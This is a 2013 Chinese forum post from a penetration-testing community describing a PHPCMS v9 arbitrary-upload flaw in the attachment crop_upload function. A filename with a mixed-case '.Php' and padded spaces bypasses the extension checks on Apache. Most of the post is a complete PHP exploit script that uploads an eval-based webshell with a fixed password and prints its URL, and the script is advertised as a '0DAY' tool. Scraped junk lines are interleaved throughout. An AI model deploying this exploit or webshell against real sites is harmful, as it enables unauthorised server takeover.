中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
' j# z4 o4 R1 Q: I1 O8 [% L
7 X9 k3 d5 c' @/ v: }: j
简要描述:
5 ^3 o: G- \# ]* Y4 `8 N
. G- U4 l8 `+ S; J* S5 h
phpcms v9 getshell (apache)
- m; k+ I' B2 k
详细说明:
* H8 R" F( [. h, z" p
+ V1 A; d& x$ I5 G4 s3 C! _
漏洞文件:phpcms\modules\attachment\attachments.php
% o* u; O" m; I: U. `. W6 o
& a/ h: U% M5 W( H/ t( ?
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
& M& M: e1 T V3 K3 K% E
后缀检测:phpcms\modules\attachment\functions\global.func.php
+ r" |2 u% w5 J% d7 [7 L0 L
$ H7 N6 p$ C& r3 D( T+ E( D( [
. ]* i7 I' h! _% B3 j, p7 ?" e
6 J+ d0 X! I/ F
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
' y" m3 c9 H* G8 n( k
) W, n* I5 J/ ~$ r6 Z
关键函数:
9 o7 F* `, |% y# N2 o
7 E- U0 D/ B- S% O% \
" j( u" ^. H& _2 _, S6 x
& ^% U2 i C* d5 G% ^% ?
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
( v* m3 h, F5 r
0 w- R( h0 Z" }: ? f
Fileext函数是对文件后缀名的提取。
* f3 Q- X8 x0 q+ Z
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
2 y0 I8 |1 ] Q/ V
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
& ], x8 V m) u0 l7 l8 A
我们回到public function crop_upload() 函数中
+ z& {+ S' S' L) Z7 ~
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
Z% x) m% E6 l: p8 j, Z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
+ i! J5 |, h, A
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
1 j8 J0 T; u5 Y" b# N2 S3 ?' `
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 W! G8 u7 A9 r
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
+ w! b( O+ M6 }" U
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
, x7 ^2 e0 w8 d; M n
漏洞证明:
2 A1 ^( F8 ?3 N9 g" T' F$ K- ]
2 H! C- }- J' H7 X, _
exp:
O+ f/ h7 h# t3 ~$ y
$ A9 G( t! q3 V
<?php
& i( a j. B8 R# A. y6 c% a
error_reporting(E_ERROR);
7 F- n+ p$ |7 i; D2 q( |- ] E6 W/ s
set_time_limit(0);
( n; y7 H6 N: G) t
$pass="ln";
7 G R5 i! _' \& c+ y8 A
print_r('
. T2 |9 j& G0 o1 ]5 o! B
+---------------------------------------------------------------------------+
% F2 f% T- B, s- y
PHPCms V9 GETSHELL 0DAY
0 [ \4 j% e7 Z
code by L.N.
5 F- x( P1 U8 X
( |# n/ ^' D3 R0 O& N( q" e
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
6 l8 B. i3 t& n8 @
+---------------------------------------------------------------------------+
, C% u4 M2 d' x8 E' q5 y
');
- ~2 d7 |( X' w% e {
if ($argc < 2) {
2 ?! ?( E' ^8 B* F# b
print_r('
: d9 z/ d# M5 m% H5 d
+---------------------------------------------------------------------------+
2 A+ C0 Q# v# k. `* u$ u7 L" o
Usage: php '.$argv[0].' url path
7 J! j6 h5 V: |- _' m
/ P9 @+ K) U* f: V9 U2 ]
Example:
6 b# Y$ F* u2 o
1.php '.$argv[0].' lanu.sinaapp.com
2 {. \9 C/ M8 e
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
: R& R' q! G" C$ t
+---------------------------------------------------------------------------+
' p* L* y$ P* q( d& I: e
');
% w! O4 c0 x! r' v+ m
exit;
* Y& o6 r h! l8 p
}
( K+ w. b. E5 e% l+ n" L& U
* M0 ~, \) d/ Q! S
$url = $argv[1];
$ I$ t" [! Z/ ~4 s b1 Y% y4 D9 @
$path = $argv[2];
* U# U$ N0 r$ w d+ d
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
- h5 U4 d( \0 {9 m" X
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
& [; j; v6 T5 v* S% G, s8 d
if($ret=Create_dir($url,$path))
G1 e6 i% T) j6 v: J
{
- G5 [) j0 o8 k
//echo $ret;
3 L# j: X( z! i/ l7 s- q$ r! R( G6 T; \, }- v
$pattern = "|Server:[^,]+?|U";
1 |0 K/ Q0 `5 |5 G
preg_match_all($pattern, $ret, $matches);
! {+ a1 A. g8 A! d
if($matches[0][0])
( A1 R' G$ T: m% i6 ]: p4 y
{
" D+ u) Z1 w9 G
if(strpos($matches[0][0],'Apache') == false)
! |; P0 f1 ~ J' O Q6 y
{
$ [% r$ O" Z0 Z
echo "\n亲!此网站不是apache的网站。\n";exit;
5 A" J; K9 m: r: n4 u- _/ p! E
}
p4 `" F, a4 {. g, m
}
; M; n$ G% M; Y8 h! U
$ret = GetShell($url,$phpshell,$path,$file);
& B X& b0 I' o0 c4 H& Q
$pattern = "|http:\/\/[^,]+?\.,?|U";
0 u* S# _# Q6 o+ r
preg_match_all($pattern, $ret, $matches);
& o" ~/ N; S6 s
if($matches[0][0])
, m* y3 l3 h3 ]# T# M5 @
{
# M; O: e% ^0 K2 _" d0 b1 L z7 W
echo "\n".'密码为: '.$pass."\n";
D2 g; v- B6 O; X$ V
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 h" D7 |) `, X! j
}
- W+ h8 }/ k0 G0 `. ?- c: {
else
, `; |( y# a P) p! |
{
8 s: h: d- W- D# r
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 E" r4 v7 Y7 g, h. C: F" F
preg_match_all($pattern, $ret, $matches);
! w8 f! b! `% }
if($matches[0][0])
1 ^) L' b- c0 S
{
: t7 F$ n9 P+ t ?% n) F* b4 y
echo "\n".'密码为: '.$pass."\n";
& j% `1 d! @, }7 k
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
3 y# e4 w0 P8 i0 z0 }8 ^
}
5 w! `/ ]/ P$ B9 p7 ]# t. F
else
& ~# \/ L3 T. U7 r
{
1 H6 |& C, g5 Q" j7 X
echo "\r\n没得到!\n";exit;
( h$ E h) F) y2 Q) _
}
. p' @" o( j- H& J' k' N5 N
}
. H" F3 ]3 t- I v3 E
}
/ Y _4 }% y# ^- f- F* k5 \
5 y7 O- u! T8 g: V5 Z
function GetShell($url,$shell,$path,$js)
. m7 s E7 h+ u
{
: i- W! p. H! Z3 w# R
$content =$shell;
# `# P7 H) d% Z. N3 s4 U
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
8 A2 u2 T& J* K! U- D9 b5 t
$data .= "Host: ".$url."\r\n";
. U1 ~; T) r# Q( l) m$ z" d) @
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# E2 q5 a, M* U( S, p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
3 u( l. E. q+ h" D. @
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
3 n- h/ Q8 n% S8 U$ J3 d2 w8 K
$data .= "Connection: close\r\n";
2 K) l5 i! }! E& u8 E( c
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" f& ]% S& P. t' W; o
$data .= $content."\r\n";
. z5 z! }) ]6 o2 y
$ock=fsockopen($url,80);
6 m6 W h2 D" D d. e2 Y4 P7 I
if (!$ock)
^& X8 |# L N' Z4 A! G! s5 [. t
{
4 \0 W1 h7 _6 \5 x3 Y" F/ r
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 V5 g3 N6 Y/ ^/ O$ [( U' q0 S: T" J
}
# W+ o' q& f2 }$ o4 ?
else
* K8 }0 u0 l5 b, M
{
. {+ o* P- P3 O: k3 H' o9 h& C
fwrite($ock,$data);
1 j" c0 G0 C8 S7 e6 F5 y" s/ K4 I
$resp = '';
! N) U6 M9 x- \$ L6 u7 T
while (!feof($ock))
* `" f. a) ~- W0 o: D# S X0 |
{
& Q0 ^1 {# ]6 ^ e( y% I6 g" V6 [
$resp.=fread($ock, 1024);
* f1 X( [- P% N
}
/ \) Y" { n# @, I0 A
return $resp;
1 E) n6 r. z2 k5 A* Q
}
* ^6 Q7 Z; F5 S) u/ h- O4 M
}
! ~3 v$ {) z7 v' P
. u/ L+ J# ^ e! [
function Create_dir($url,$path='')
2 t% m0 k; r; _$ s
{
& z' ], m! s) l0 j% {8 q5 s
$content ='I love you';
& F4 @. z9 e* m* G W) \4 I5 B' v
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" B9 @! h% D, z ^( P3 W+ F
$data .= "Host: ".$url."\r\n";
$ D( Z! V: p8 P4 D/ _. G# O% W
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 p, U) k/ g% Y% v+ Q
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 w8 I: p; m" g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 q1 B0 j( B: N5 j6 \$ r6 A
$data .= "Connection: close\r\n";
+ s( w* t3 T8 Q% V0 g5 B
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( x& H( P( L$ B" P$ k0 u
$data .= $content."\r\n";
0 R+ k; f& i g+ @
$ock=fsockopen($url,80);
0 G0 H& v. \. o: {
if (!$ock)
3 h" R5 ~& V, R9 c" |: q; m
{
3 r x8 p( a) w1 x
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. L0 }; O5 X5 T$ w
}
1 Z/ V$ m8 {0 R# k) \
fwrite($ock,$data);
; E7 C3 m/ \. x$ I' p
$resp = '';
- g' ]5 ]* p$ d* }: n' t' F% i
while (!feof($ock))
' k* G9 c# _4 v$ }
{
$ U( I/ t. G. I! L4 H
$resp.=fread($ock, 1024);
( M) `) R/ Z8 U( W" P7 b
}
7 k; j! r9 E0 ]
return $resp;
- N8 X% f( S: G
}
7 q) d( E ?5 ~5 F9 \: ]8 ^
?>
( B+ W' I0 ~+ ]8 j
; p" O0 F* V! p9 Y/ |: k, P
修复方案:
/ d/ u$ I+ B9 \# A
, n+ j3 e: a4 \ K- ], \% c9 P
过滤过滤再过滤
8 q6 r) Q* `4 q* u/ W7 H G
4 B* B) A1 ?6 f/ D# Q+ L& S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2